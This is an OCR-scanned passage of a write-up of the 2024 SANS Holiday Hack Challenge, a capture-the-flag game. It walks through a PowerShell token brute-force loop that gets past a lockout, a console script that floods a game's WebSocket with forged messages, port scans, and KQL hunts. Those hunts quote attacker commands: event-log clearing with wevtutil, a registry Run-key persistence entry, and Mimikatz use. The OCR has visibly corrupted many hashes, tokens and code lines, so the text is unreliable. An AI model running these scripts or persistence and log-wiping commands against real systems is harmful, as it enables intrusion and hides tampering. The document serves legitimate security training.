access: SnowLeopard2ReadyForAction

8 Solution Steps for Gold

From the hints, | deduce the following:
e We need to authenticate with one of the REDACTED endpoints.
e Weuse |[Get-FileHash -Algorithm SHA256|to get the hash.

e The cookie values need to be set.

e After exceeding thresholds on attempts, we will be allowed in.
Even though the SHA256 hashes were redacted, it's trivial to calculate them using CLI or CyberChef. One gotcha is that the
SHA256 hash is not of the token string. It is a hash of a file containing that string. This aligns with the hint. In other words:

% echo -N 45ffb41lc4e458d08a8b08beeec2b4652 | sha256sum
c024a48810405d1le3bbf38d3da38d0715baele7280b3dd077724a43144c3cb229 - #

cat tokenl

5ffb41c4e458d08a8b08beeec2b4652

sha256sum tokenl

d040356e54cal 66cd0479d9878fc9%al012a80419a846a58a24649f4f01b63f8 tokenl # RIGHT

o0 > o

When we request an MFA token, we get it, but we also get a warning about a fakeout threshold of 10 from Canary TRIPWIRE.

PS /home/user> (iwr
http://localhost:1225/tokens/D040356E54CA166CD0479D98 78 FCOBA1012A80419A846A58A24649F4F01B63F8 -Credential $cred
-AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=45ffb41lc4e458d08a8b08beecec2b4652"} ) .Content
<hl>Canary TRIPWIRE</hl>

<p>Possible unauthorized access detected.<br>Endpoints have been scrambled.<br>Basic token evasion tactics
implemented, fakeout threshold set to 10.<br>Default token validity set to 2 seconds.</p><hl>Your current token
is valid at <a

href='1735518325.894733"'>/mfa validate/D040356E54CA166CD0479D9878 FCIBA1012A80419A846A58A24649F4F01B63F8</a></hl>

When we try to validate the MFA token, we get message stating that cookie attempts are set. This appears to be the EDR
system rejecting a certain amount (10) of validation requests before it will start accepting them again.

PS /home/user> $mfa token = (iwr
http://localhost:1225/tokens/D040356E54CA166CD0479D98 78 FCOBA1012A80419A846A58A24649F4AF01B63F8 -Credential $cred
-AllowUnencryptedAuthentication -Headers @{'"Cookie" = "token=45ffb4lc4e458d08a8b08beeec2b4652"}) .Links .href
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; (iwr http://localhost:1225/mfa validate/D040356E54CA166CD0479D9878FCIBA1012A80419A84 6A58A24649F4F01B63F8 -
Credential $cred -AllowUnencryptedAuthentication -Headers Q{ "Cookie" = "token=45ffb41lc4ed458d08a8b08beeec2b4652;
mfa token=$mfa token"}) .Content

<hl>[*] Setting cookie attempts</hl>

I found that the cookie was set to a Base64 string that decoded to , probably indicating it's a dummy value.

PS /home/user> (iwr

http://localhost:1225/mfa validate/D040356E54CA166CD0479D9878FCO9BA1012A80419A846A58A24649F4F01B63F8 -Credential
$cred -AllowUnencryptedAuthentication -Headers @{ "Cookie" = "token=45ffb4lc4e458d08a8b08beeec2b4 652 ;

mfa token=$mfa token"}) .Headers."Set-Cookie"

attempts=c25ha2VvaWwK0l; Path=/

Now that we know to specify an cookie as 10 or above, we can test all the tokens in the CSV file to find the one that
works. Here is a breakdown of the steps:
1. Download the .csv file.
2. Extract the tokens using regex pattern.
3. Run aloop for each token to:
a. Store the token into afile.
b. Calculate the SHA256 hash of that file.
c. Request for an MFA token using the token and its hash.

d. Validate the MFA token with request containing the cookie .

PS /home/user> $baseurl = "http://127.0.0.1:1225"
$cred = New-Object System.Management.Automation.PSCredential ("admin", (ConvertTo-SecureString "admin" -
AsPlainText -Force))

# Download the CSV file
iwr "$baseurl/token overview.csv" -Credential $cred -AllowUnencryptedAuthentication -OutFile token overview.csv

# Define the regular expression pattern for a hex string of the specified length
$pattern = "“[a-fA-F0-9]{32}8$"

# Read the CSV file and store matching hex strings
S$hexStrings = @()
$csvData = Import-Csv -Path "token overview.csv"
foreach ($row in $csvData) {
foreach ($field in S$row.PSObject.Properties.Value) {
if ($field -match $pattern) {
$hexStrings += $field }}}

# Process each hex string
foreach ($token in $hexStrings) {

# Store the token in a text file (needed for next command)

Set-Content -Path "token.txt" -Value $token

# Derive SHA256 Sum of Token value, and save to file

$sha256sum = Get-FileHash -Algorithm SHA256 "token.txt" | Select-Object -ExpandProperty Hash

# Grab the MFA token value (same as silver)

Smfatoken = (Invoke-WebRequest -Uri "$baseurl/tokens/$sha256sum" -Credential S$cred -
AllowUnencryptedAuthentication -Headers Q{"Cookie" = "token=$token"}).Links.href

# Attempt to authenticate

S$result = Invoke-WebRequest -Uri "$baseurl/mfa validate/$sha256sum" -Credential $cred -
AllowUnencryptedAuthentication -Headers @{"Cookie" = "token=$token; mfa token=$mfatoken; attempts=10"} | Select-
Object -ExpandProperty Content

Write-Output $result
}

<hl>[-] ERROR: Access Denied</hl><br> [!] Logging access attempts

. ..<snipped>

<hl>[+] Success, defense mechanisms deactivated.</hl><br>Administrator Token supplied, You are able to control
the production and deployment of the snow cannons. May the best elves win:
WombleysProductionLineShallPrevail</p>

Key Learnings

e PowerShell commands: read files, get file stats, issue web requests with setting cookies, SHA256 hashing,
conditional statements, loops, and Base64 decoding.

e Authentication topics: tokens, hashing tokens, MFA token generation and validation. Defense in depth and MFA
token expiration.
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Act 2: Snowball Showdown#* # # % %

Wombley has recruited many elves to his side for the great snowball fight we are about to wage. Please help us defeat him by
hitting him with more snowballs than he does to us.

© Goals
Hack a JavaScript game to beat Wombley in a 2-minute snowball fight.

Setup: Click on the sign behind Dusty Giftwrap to start the game. If you click on Random Match Making or Create Private
Room, the URL will include the parameter |singleP1ayer:fa1se|. Setting this to Will allow you to play by yourself so you
don't have to wait for another player to join. This is just like the snowball fight from last year's HHC!

Background Info: WebSockets
This game uses WebSockets to pass information back and forth between the game client and the game server. It enables full-

duplex communication with low overhead for real-time data transfer. They can be viewed in Devlools under the network tab:

s [0 Elements e etwork o e  Memory Application  Security Lighthouse  Recorder
® QY. QqQ e o s he No = O

Y Filter vert | M t Fotch/XHR | Doc |(CSS || JS || Font || Img || Media || Manifest| WS Wasm || Other

20 ms. 40 ms. S0 ms 60 ms. 70 | ‘
listing of filter for
WebSockets WebSockets
listing of
Name > Headers Payload Messages Initiator  Timing
messages
+* wsf2username=ra.. () Al v Y Filter using regex (example: (web)?socket!

Leng... | Time
15|10:12:25.937
20010:12:25.942
“init","players' 5f-147a- 3330 10:12:26.005
*pixel_map","pixel_map*:((0,0,0, 41... |10:12:26,080
“alWoUp","alabaster":{"position™:{"x":160, "X | 205(10:12:26.748
*, players: {,.}, roomType: "

: {position: {x: 168, y: 965}, m : 160, y: 965}, xmin: 4@, xmax: 400, obj_type: “elfcap",.}
038301-b6dd-de6a-aad5-33a2e4319ede”, lastThrowTime: 1735927946484,-},-]

message
contents

{position: {x: 1760, y: 965}, nextPos: {x: 1760, y: 965}, xmin: 1458, xmax: 1888, obj_type: “elfca
: [{x: 1334, y: 370, uuid: “769b9249-ac18-4aae-aa29-286bd31cb240", lastThrowTime: 1735927946405,..},.

They can be viewed in Burp Suite under the [proxy|-[iebSockets history|tab:

Dashboard ~ Target Intruder p c Decoder  Comparer ogger  Organzer  Extensions eam {5} Sati
Intercept HTTP history ‘WebSockets history Match and replace @ Proxy settings
" Fitter settings: Showing all items @
# URL Direction Edited Length Motes TLS Time Listener port  WebSocket ID
1119 hitp: com/ws/ + To client 200 4 06:25:29 3 Ja... 8080 3
1120 hitp: com/ws/ = Toserver 15 L4 06:25:29 3 Ja... 8080 3
1121 hitps.. com/ws/ + To client 3329 o 06:25:29 3 Ja... 8080 3
1122  hitps., COmiws/ = Toserver 130985 o 06:25:29 3 Ja... 8080 3
1123 hitps., COMiws’ =+ Tosarver 15 o 06:25:29 3 Ja... 8080 3
1124 hitps., COMm/ws’ =+ Toserver 130885 o 06:25:29 3 Ja... 8080 3
1anE o4 i i Tennmine 1E . nemEmna 1n_anon 2
Message
Pretty Raw Hex n =
14

“type":"snowballp",

8,
924,4925537109375,

“owner":"d7f82057-147a-4c63-b2a7-582bblas6lcc",

"isWomb":false,

"blastRadius":24,

“velocityX":-717.4541573937644,

“velocity¥":36.973692749725544,

"id":228

b

Sending one of the messages to the Repeater gives a view like Devlools. Here, we can send our own custom messages.

Dashboard Target Proxy Intruder Collaborator Sequencer Decoder ‘Comparer Logger Organizer Extensions Learn
1% 3%+
v D: 3 htps: bal.. 174 ©) History
Send WebSocket Message Message Direction Manual  Length WebSocket |0}
To client Reconnect - To server 16 3
"alWollp","alabaster":["position”:{"x":378. :965),"nextPos":{"x":375... + To client 21 06:26:04 3 Jan 2025 3
= = "1"game_started", "time":120,"room":{"type":"init"," players ":{"d7f8205f-14... + To client 427 06:26:04 3 Jan 2025 3
Pretty Raw  Hex wo= ""game. st - \ {"typ " players (" d7! i
Ikt S = :"ready","playerld | 7fB205f-147a-4c63-b2a7-582bb1a561cc"} + To client 66 06:26:04 3 Jan 2025 3
1 { 920.532958984375, "owner"."d71B205f-147a-4c... - To server 190 06:26:04 3 Jan 2025 3
"type":"alkolp", Fl 289, owner":"agb32412-0bed-4af7-b50d-88b4e... ¢ To client 261 06:26:04 3 Jan 2025 3
“alabaster": { bl ":"snowball","x":1497,"y ":267 " owner"."363ba514-4015-4d 38-8dfc-59a60... « To client 262 06:26:04 3 Jan 2025 3
“position®:{ 2
Hx":152, g
Hyt:965 Pretty Raw Hex
. 14
"nextPos':{ “type":"snowballp",
"x":154.8, "x':1602,
"y":965 "y'':920.532958984375,
3. “owner":"d7fB205f-147a-4c63-b2a7-582bbla561cc",
"isKo":false, "isWomb":false,
UxHit": @ "blastRadius":24,
}, “velocityX":352.0B8282376108144,
“wombley":{ “velocityY":-53.31293997084322
“positien":{ 1

2024 SANS Holiday Hack Report by James Mar

38


https://en.wikipedia.org/wiki/WebSocket

While playing the game, | monitored the WebSockets. | had a blast tracking these messages and trying to figure out what each

of them do. Here are my findings:

Message Type Direction Description
init Both Client requesting the start of a game
Server sending game initialization settings for players and elves
pixel_map To server Long list of 0s/1s. | don't know what this is for.
ready Both When player clicks the Ready button
Server ack
game_started To client Server telling client to start the game giving settings for players and elves
alAttr To client Alabaster getting hit
eAttr To client Elves getting hit
plyAttr To client Player getting hit
WOALttr To client Wombley getting hit
alWoUp To client Alabaster and/or Wombley position, status, and score update
player_pos To server Sends our location as we move to the server
sbh Both SnowBall Hit
To server: no coordinates just id.
To client: id + xy coordinates.
snowball To client Server telling client where snowballs are thrown
snowballp Both To server: when player clicks to throw a snowball
To client: server ack of the throw and sends back snowball
server_message | To client Message when you win and when a hacker is detected (a WebSocket
message to the server contained values that the server deemed cheating)
game_ended To client Ending game giving win/loss result
close_socket To client Ending WebSocket

It's important to note that the server is the keeper of the game state. This means we cannot modify scores to win like we did in

Elf Connect. The WebSocket messages to the client tell the browser what to display. The things we can control are the player

movement and throwing of snowballs. So we'll focus on trying to do our hacking around this.

8 Solution Steps for Silver: Local Content Override
In Devlools, we can override JavaScript files to have the webpage use our local copy of the file which allows us to make
modifications. To start, go to the [sourcedtab, right click the file [phaser—snowball game . js| and select pverride content] You
will be prompted to choose a folder to save the local copy and then click on the popup.

[5 etfids.js

15 phaser-snowball-game,js P

] phaser.minjs
|}I reconnecting-websocketmin,
|2| game.htmlfusemame=ramsema
0d5be7ch-ah34-4606-96a4-525¢
1da3af2d-c685-49b1-bbe2-6579
1fb30dea-f890-4551-bcf5-f6246
2aBedc8c-d293-4547-a0c8-0734
2f7a68f8-ddb7-49d9-a052-4f52¢

5 blueTint
Open in new tab owball

Reveal in Network panel

Copy link address

Copy file name

Override content

gDebug !== 'undefined’

= Bxfffoe;
Bx99ddff;

veTime = 12880;

true;
15000;
AME_HEIGHT - 115;
GAME_WIDTH - 40;

pdateDelay = 2@

In the Overrides tab, you'll see the file you selected. If you have unsaved modifications, an asterisk will appear. After saving

your changes, remember to reload the game.

& &l O

Page W e Owerrides

Enable Local Overrides

voallshowdown.holidayh;

|__‘} *phaser-snowball-game.js

Iﬂ; Sources

not having been saved yet.
Save with Ctrl + s or

lowTint
command + s, then reload. [t
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Here are the variables to update (some are only for fun):

Line Variable Name Set To Effect
6 this.yellowTint Oxffff00 Increase the "lemon" concentration in team Wombley's snowballs
7 this.blueTint 0x0000ff | Characters turn a darker blue when hit
9 this.healingTerrain False Snow/ice does not regenerate
14 this.playerMoveSpeed 500 Faster player movement
26 this.throwRateOfFire 1 Faster player throw rate
679 | this.snowBallBlastRadius 200 Larger area effect when snowballs hit terrain
680 | this.onlyMoveHorizontally False Gives you the ability to fly using E or|up arrow|.

After these changes, you can blast through the or fly over the center ice barrier to hit Wombley from behind.

ra Ars

ramsemaj.
Wombley,

™

Eat snow Team Wombley!
P Alternate Solution Steps for Silver: Console Method

From the |phaser—snowball—game .J s| file, it takes the current game scene and makes it accessible from anywhere by storing it in

a global variable called nainscene], defined in the parent file.

So an alternate way is to change the variables in the previous solution by using the object reference in the Console.
This can be a bit faster, but it only lasts one game.

O o2 O ¢ e <f f=l,Console

top ¥ = Filter Default levels

» mainScene.snowBallBlastRadius=200

B Alternate Solution Steps for Silver: Console Method with Automation
The above solutions required a lot of clicking. Wouldn't it be nice to have this automated? To get this working, | studied the
WebSocket message which is sent when we click the mouse to throw snowballs. Here's an example message:

{"type":"snowballp","x":1738,"y":924.4925537109375, "owner" :"<uuid>", "isWomb": false, "blastRadius": 24, "velocityX":
=717.4541973937644,"velocityY":36.973692749725544, "id":228}

| used Burp Suite Repeater tool to test this. Here are my findings:

e Max is 200 (if you set something higher, the server sends back 200.)

e Max/Min [velocityx|and[velocityy|is 2000/-2000. (If you set something beyond these, the server changes it.)

o Ifthe or coordinates are too far from where you're standing, the server does not honor the throw (i.e. the server

doesn't send back a|snowballp| message with an .

e You can't setto true. GRRRR...I was so looking forward to throwing the "lemon" snowballs, but alas the server
didn't honor this.
e The server wouldn't honor all the messages if | sent too many at once. A 225 ms delay worked well.

In the Devlools console, you can paste in this code that blasts snowballs with maxed blastRadius and velocityX from wherever

your player is standing for the duration of the game without having to do any clicking. GLOOOORY! a@

let ¢ = 0;
const send = () => {
if (c < 525) {
mainScene .ws.send (JSON.stringify ({
type: "snowballp", x: mainScene.playerl.x, y: 917,
owner: mainScene.playerl.playerId,
isWomb: false, blastRadius: 200, velocityX: 2000, velocityY: 0 }));
ct++;
console.log("Sent snowballp (", c + 1, ™) :");
setTimeout (send, 225);
b

send() ;
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It's like a snowball machine gun!

8 Solution Steps for Gold

From Dusty Giftwrap's conversation, he mentions a secret weapon. In |reconnecting—websocket .min.js|, we see mention of a
bomberContainer. It has to do with the (Mother of All SnowBalls).

2 window.bgDebug

e.type &% mainScene && !mainScene.moasb_started) {
> _started 19,
.anims.create({..}),

e.bomberContainer = mainScene.add.container(400, 300),

.moasb = () => { -ws.sendMess

4 Gold Answer
This can be triggered in the dev tools console: [this.mainScene.moasb ()|

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Compare

1 x 2 x 3 x +

1D: 20 : https: holid ge.com/ws/ [ o)
Send WebSocket Message
m Select next message rece
Pr Raw Hex W = "

1| {"type":"moasb"}

> Side Notes
e The MOASB is a reference to the MOAB (Mother Of All Bombs), a large US military bomb.
e The MOASB isridden by none other than the much beloved Elf the Dwarf who was first seen in the HHC in 2022. He
has made many appearances each year and is known for his quote, "Glory," which is used extensively in the HHC
Discord server.

e The riding of a bomb while it's being dropped is a reference to the famous scene in movie Dr. Strangelove where a
soldier cheers and waves his cowboy hat while riding a bomb dropped from a plane.
e The quote by Elf is a reference to a quote from the movie Die Hard.

Key Learnings
e Hacking the JavaScript using local override or issuing commands console to beat the snowball game.
e How to capture, analyze, and send WebSockets.

Act 2: Microsoft KC7 #% % #% % #%

Answer two sections for silver, all four sections for gold. http://kc7cyber.com/go/hhc24

© Goals
Investigate phishing and ransomware attacks while learning Kusto Query Language.

¢ Background Info: KQL and KC7
e Kusto Query Language (KQL) is a powerful tool used for querying large datasets in Azure Data Explorer and other
Microsoft services. It's designed for easy data exploration and analysis, allowing users to perform complex queries
with simple syntax. With KQL, you can filter, sort, and summarize data quickly, making it ideal for log and telemetry
data analysis.
e KC7is an educational tool designed to introduce students to cybersecurity principles and data analysis.

Section 1: KQL 101:Learn and practice basic KQL queries to analyze data logs for North Pole operations.

S1Q1: Type to begin your KQL training:
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$1Q2: Once you've examined all the tables, type [when in doubt take 10|to proceed: Perform on all the tables from

the Available Tables link at the top. when in doubt take 10
Available Tables x

Table Name Description

AuthenticationEvents

Email
Employees
FileCreationEvents

InboundNetworkEvents
OutboundNetworkEvents

PassiveDns (External)
ProcessEvents

SecurityAlerts

$1Q3: How many elves did you find? [Employees | count|90

S$1Q4: Can you find out the name of the Chief Toy Maker? |Employees | where role=="Chief Toy Maker" |Shinny Upatree

S$1Q5: Learn about different operators: operator
S$1Q6: How many emails did Angel Candysalt receive? 31

TogettheAngePsenuﬂladdmss:hmployees | where name == "Angel Candysaltﬂ

|Email | where recipient == "angel candysalt@santaworkshopgeeseislands.org" | cound

$1Q7: How many distinct recipients were seen in the email logs from twinkle_frostington@santaworkshopgeeseislands.org? 32

Email | where sender has "twinkle frostington@santaworkshopgeeseislands.org" | distinct recipient

$1Q8: How many distinct websites did Twinkle Frostington visit? 4

TogetTMﬂnHeS|P:hmployees | where name == "Twinkle Frostingtonﬂ

OutboundNetworkEvents | where src ip == "10.10.0.36" | distinct url | count

$1Q9: How many distinct domains in the PassiveDns records contain the word green? 10

PassiveDns | where domain contains "green" | distinct domain | count

»Side Note

We get a squiggly line under contains. It said to avoid using the 'contains' operator as it has a high compute price. will look

for an exact match (the word on its own), while will look for the specified sequence of letters, regardless of what
comes before or after it. searches on Kusto terms would be similar to the word boundary used in regex.
$1Q10: How many distinct URLs did elves with the first name Twinkle visit? 8 (Submit this on the Objectives section)

let twinkle ips = Employees | where name has "Twinkle" | distinct ip addr;
OutboundNetworkEvents | where src ip in (twinkle ips) | distinct url | count;

Key Learnings from Section 1
We learned about KQL basics: [take], [shere], [distinct], [count], [contains], [has],and [Let].

Section 2: Operation Surrender: Investigate a phishing attack targeting Wombley’s team, uncovering espionage activities.

$2Q1: Type to get started! Surrender

$2Q2: Who was the sender of the phishing email that set this plan into motion? surrender@northpolemail.com

Email | where subject has "surrender" | distinct sender

$2Q3: How many elves from Team Wombley received the phishing email? 22

Email | where subject has "surrender" | distinct recipient | count

S$2Q4: What was the filename of the document that Team Alabaster distributed in their phishing email?

Team_Wombley_Surrender.doc

Email | where subject has "surrender" | distinct link
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$2Q5: Who was the first person from Team Wombley to click the URL in the phishing email? Joyelle Tinseltoe

Employees

| join kind=inner (OutboundNetworkEvents) on $left.ip addr == $right.src ip // condition to match rows
| where url contains "Surrender"

| project name, ip addr, url, timestamp // project returns only the information you select

| sort by timestamp asc //sorts time ascending

Timestamp was [2024-11-27T14:11:457
$2Q6: What was the filename that was created after the .doc was downloaded and executed? keylogger.exe

let joyelle host = Employees | where name == "Joyelle Tinseltoe" | distinct hostname;
ProcessEvents

| where timestamp between (datetime ("2024-11-27T14:11:4572") .. datetime ("2024-11-27T14:20:37Z"))
| where hostname in (joyelle host)

> 2024-11-27 14:12:44.0000 Explorer.exe 9d8a... Explorer.exe "CA\Users\jotinseltoe\Downloads\Team_Wombley_Surrender.doc”

> 2024-11-27 14:12:45.0000 Explorer.exe a3fa... CAUsers\Publicd\AppData\Roaming\keylogger.exe

$2Q7: Enter your flag to continue a2V5bG9nZ2VyLmV4ZQ==

let flag = "keylogger.exe";let base64 encoded = base64 encode tostring(flag);print base64 encoded

Key Learnings from Section 2
We learned how to identify traces of a phishing attack and when targets become a victim after opening a document
dropping a keylogger that was run by the victim.
KQL functions: [joinl, poroject], [datetimel, fpetween|, pbase64 encode tostring, fprint].

Section 3: Operation Snowfall: Track and analyze the impacts of a ransomware attack initiated by Wombley’s faction.

S3Q1: Type to begin: snowfall

S$3Q2: What was the IP address associated with the password spray? 59.171.58.12

AuthenticationEvents

| where result == "Failed Login"

| summarize FailedAttempts = count() by username, src ip, result
| where FailedAttempts >= 5

| sort by FailedAttempts desc

Using [summarize count () by| groups common values together. When sorted, it can provide good information.

username result FailedAttem

twsnowfall 58.171.58.12 Failed Login

sprutmeggins 58.171.58 Failed Login
Joribbonson 50.171.58.12 Failed Login

twmistletooth 50.171.58.12 Failed Login

$3Q3: How many unique accounts were impacted where there was a successful login from 59.171.58.12? 28

AuthenticationEvents | where src ip == "59.171.58.12" and result == "Successful Login"|distinct username
| summarize DistinctSuccessfulUsernames = count (username)

The first line could be run on its own and the count could be found by the number of records returned. The second line's

does this for us.

S$3Q4: What service was used to access these accounts/devices? RDP

AuthenticationEvents | where src ip=="59.171.58.12" | summarize count distinct(hostname), count () by
description, result|sort by count desc

result

User failed to login to an email account. The user provided an incorrect password. Failed Login

User successfully logged onto Elf-Lap-A-Ribbonson via RDP. Successful Login

fully logged onto Elf-Lap-A-Jinglebellsworth via RDP. Successful Login
essfully logged onto Elf-Lap-A-Nutmeggins via RDP. Successful Login

The Icount distinctl shows the number of unique hostnames for that grouping. The description shows RDP was the protocol.

S$3Q5: What file was exfiltrated from Alabaster’s laptop? Secret_Files.zip

let alabaster username = Employees | where name contains "Alabaster" | project username;
ProcessEvents | where username in (alabaster username);
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timestamp

2024-12-16 15:51:52.0000 cmd.exe copy C\Users\alsnowbalh\AppDataiLocal\TemphSecret_Fileszip Y\wocube\share\alsnowbal \Secret_Files.zip

2024-12-16 16:02:32.0000 cmd.exe el sershalsnowball\Documents\Snowball_Cannon_Plans.pdf
2024-12-16 16:03:01.0000 cmd.exe del C\Users\alsnowball\Documents\Drone_Configurations.pdf
2024-12-16 16:03 cmd.exe del C\Users\alsnowbalhAppData\Local\Temph\Secret_Files.zip
2024-12-16 16:04:29.0000 cmd.exe wevtutil cl System

cmd.exe wevtutil o Security

cmd.exe wevtutil cl Application

cmd.exe c: CAWindows\Users\alsnowbal [EncryptEverything.exe

S$3Q6: What is the name of the malicious file that was run on Alabaster's laptop? EncryptEverything.exe
See blue box from screenshot from previous question.
S$3Q7: Enter your flag to continue: RWSjenlwdEV2ZXI5dGhpbmcuZXhl

let flag = "EncryptEverything.exe";let base64_encoded = base64_encode_tostring (flag);print base64_encoded

Key Learnings from Section 3
We learned about the analysis using KQL of the flow of a ransomware attacking involving the identifying of password
spraying, successful infiltration via RDP, exfiltration, and malicious file execution encrypting all their files.
KQL functions: [summarizel, [count ], and[count distinct 0]

Section 4: Echoes in the Frost: Use logs to trace an unknown phishing attack targeting Alabaster’s faction.

S$4Q1: Type to begin. stay frosty

$4Q2: What was the timestamp of first phishing email about the breached credentials received by Noel Boetie? 2024-12-
12T14:48:557

Email |where recipient has "noel" and subject has "credentials"

S$4Q3: When did Noel Boetie click the link to the first file? 2024-12-12715:13:55Z

let noel links = Email |where recipient has "noel" and subject has "credentials" | project link;
OutboundNetworkEvents |where url in (noel links)

method = = user_agent

2024-12-12 15:13:55.0000 10.1009 Mozilla/5.0 (Windows NT 6.2) A...

2024-12-12 15:16:40.0000 10.10.0.9 Mozilla/5.0 (Windows NT 6.2) A... http://holidaybargainhunt.io/public/search/online/front.7z
2024-12-12 15:26:21.0000 10.10.0.9 Mozilla/5.0 (Windows NT 6.2) A...

S$4Q4: What was the IP for the domain where the file was hosted? 182.56.23.122
Looking for the domain from the screenshot from the previous question:

PassiveDns | where domain has "holidaybargainhunt" | summarize count () by ip |

$4Q5: What hostname was accessed? WebApp-ElvesWorkshop

AuthenticationEvents| where src ip == "182.56.23.122" |

$4Q6: What was the script that was run to obtain credentials? Invoke-Mimikatz.psi

ProcessEvents| where hostname == "WebApp-ElvesWorkshop" |

+»Side Note
Mimikatz is a well-known open-source tool used for extracting passwords and authentication credentials from Windows.
$4Q7: What is the timestamp where Noel executed the file? 2024-12-12715:14:382
From the screenshot above, we see that the first link was echo.exe, so we search for that specifically:

let noel hostname = Employees| where name has "Noel" | project hostname;
ProcessEvents | where hostname in (noel hostname) and process commandline has "echo.exe"

$4Q8: What domain was the |holidaycandy.htalfile downloaded from? compromisedchristmastoys.com

OutboundNetworkEvents |where url has "holidaycandy.hta"

timestamp method = user_agent

2024-12-12 15:39:25.0000 ] 10.100.9 Mozilla/5.0 (Windows NT 6.2) A.. http:/ ‘compromisedchristmastoys.com, holidaycandy.hta

2024-12-12 15:40:19.0000 G 10.10.0.9 Mozilla/5.0 (Windows NT 6.2} A... http://compromisedchristmastoys.com/holidaycandy.hta

S$4Q9: What was the first file that was created after extraction? sglwriter.exe

let noel hostname = Employees| where name has "Noel" | project hostname; |
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let frosty time toscalar (ProcessEvents | where process commandline has "frosty.zip"|summarize min(timestamp));
FileCreationEvents | where hostname in (noel hostname) and timestamp > frosty time

The is needed because the operation returns a table which can't be compared toin a clause.

$4Q10: What is the name of the property assigned to the new registry key? frosty

let noel hostname = Employees| where name has "Noel" | project hostname;
let frosty time = toscalar(ProcessEvents | where process commandline has "frosty.zip" |summarize min(timestamp));
ProcessEvents | where hostname in (noel hostname) and timestamp > frosty time

The second row has the registry command:

New-Item -Path "HKCU: \SOFTWARE \Microsoft \Windows\CurrentVersion\Run" -Name "MS SQL Writer" -Force | New-
ItemProperty -Name "frosty" -Value "C:\Windows\Tasks\sglwriter.exe" -PropertyType String -Force

5+ Side Note
The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system and
installed applications. stands for HKEY_CURRENT_USER. Itis one of the predefined root keys in the Windows Registry
and contains configuration information for the user who is currently logged in. The term stands for Handle to a Key and
refers to the top-level, predefined root keys in the Windows Registry. These root keys serve as the main categories under which
all configuration data is organized. |HKCU: \SOFTWARE\Microsoft\Windows\CurrentVersion \Runl is a key in the Windows Registry
that specifies programs to be run automatically when a user logs into Windows
S$4Q11: To obtain your FINAL flag use the KQL below with your last answer! ZnJve3R5

let finalflag = "frosty"; let base64 encoded = base64 encode tostring(finalflag); print base64 encoded

Key Learnings from Section 4
e Using KQL to search network and DNS events.

e DLL sideloading. This technique works by placing a malicious DLL in the same directory as a legitimate executable
(in this case, sqlwriter.exe).

e Windows registry hacking and using a scheduled task to ensure sqlwriter.exe runs on system boot, allowing the
malicious DLL to maintain persistence on the system.

Act 3 Map

Deactivate
Frostbit

Act 3: Santa Vision#* % % % %

Alabaster and Wombley have poisoned the Santa Vision feeds! Knock them out to restore everyone back to their regularly
scheduled programming.

© Goals
Restore the Santa Broadcast Network from Wombley's hijacking using network, db, HTTP, and MQTT hacking.

i% Key Hints

e Mosquitto is a great client for interacting with MQTT, but their spelling may be suspect. Prefer a GUI? Try MOTTX

e See if any credentials you find allow you to subscribe to any MOTT feeds.

o jefferson is great for analyzing JFFS2 file systems.

e Consider checking any database files for credentials...

e Be onthe lookout for strange HTTP headers...
Setup: When you click on the Cranberry Pi, it opens a new tab for the Santa Vision. Clicking on the green gator at the bottom
right opens the GateXOR.
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GateXOR is a magical time shifting alligator. For certain challenges GateXOR empowers
the adventurer to perform point-in-time Travel or Collapse the specific timeline of the
challenge, in order to start the challenge from the beginning.

Be warned! While GateXOR. tries to help as many concurrent players as possible, this
reptile only has so much juice in the tank. If running low on time-energy, GateXOR will
let you know that a rest is required and that you'll have to take a short break.

PS. The magical modern dino 1s here to help and is not to be hacked! In fact if you find a
bug, DM Santa's team about it in the Discord channel!

This creates a personal (but temporary) server for you to complete the challenge. Clicking on the "Time Travel" button will

create an instance for you to play on. If your instance gets stuck, click "Collapse," then try the "Time Travel" again.

vav
@ Time Travel | % Collapse

Status: 0 | Ttl: 2.0 hours | Target: 34.67.133.25

rate XOR> [Instructions] Your SantaVision instance is now available at the IP address above. Scan the IP address to begin the challenge. Good luck!!

A message tells you to scan the IP to begin the challenge. To scan, there are different options: Online scanner, nmap, netcat,
Python, and more. From the port scan, we find ports 22, 1883, 8000, and 9001 opened.

$ nmap 34.60.17.53 -p 1-10000

Starting Nmap 7.95 ( https://nmap.org ) at
Nmap scan report for 53.17.60.34.bc.googleusercontent.com (34.60.17.53)
Host is up (0.052s latency).

Not shown: 9988 closed tcp ports (conn-refused)
PORT STATE SERVICE

22/tcp open ssh

25/tcp filtered smtp

111 /tcp filtered rpcbind

135/tcp filtered msrpc

137/tcp filtered netbios-ns

138/tcp filtered netbios-dgm

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

1883/tcp open mgtt
5355/tcp filtered llmnr
8000/tcp open http-alt
9001/tcp open tor-orport

Nmap done: 1 IP address (1 host up) scanned in 8.33 seconds

Using netcat:

% nc -vz 34.60.17.53 1-10000 2> nc out2
% grep succeeded nc out?2

Connection to 34.60.17.53 port 22 [tcp/ssh] succeeded!

Connection to 34.60.17.53 port 1883 [tcp/ibm-mgisdp] succeeded!
Connection to 34.60.17.53 port 8000 [tcp/irdmi] succeeded!
Connection to 34.60.17.53 port 9001 [tcp/etlservicemgr] succeeded!

Background Info: nmap, netcat, output redirection

e Nmap (Network Mapper) is a tool used to explore and scan computer networks. It helps users identify which devices
are on a network, discover open ports, and detect security risks. By sending packets to target machines and analyzing
the responses, Nmap provides detailed information about the network's structure and its potential vulnerabilities. It’s
widely used by network administrators and security professionals to keep networks secure and well-maintained.

e Netcat, often called "nc," is a versatile networking tool that reads and writes data across network connections using
the TCP/IP protocol. It's like a Swiss Army knife for network tasks, allowing users to do things like create network
connections, send and receive data, and even act as a simple chat server.

e The used in the netcat command redirects certain output to a file, nc_out2. Specifically, it sends the
"standard error" output to that file. Normally, this is sent to the screen, but | had it sent to a file for easier filtering.
Another output of commands is "standard output." This also is sent to the screen normally. To send it to a file you
would use [1> <filename>|. For more info, see standard streams.

8 Solution Steps for Silver
Santa Vision A: What username logs you into the SantaVision portal?

Since 8000 is commonly used as an alternate http port, | tried http://34.60.17.53:8000 worked in a browser. The page source

had a comment with the credentials, |elfanon/elfanon
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Username
——————

Password

<b>©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.

©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved. .
(topic 'sitestatus’ available.) | B </div> <!—— mqtt: elfanon:elfanon —>

Santa Vision B Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the

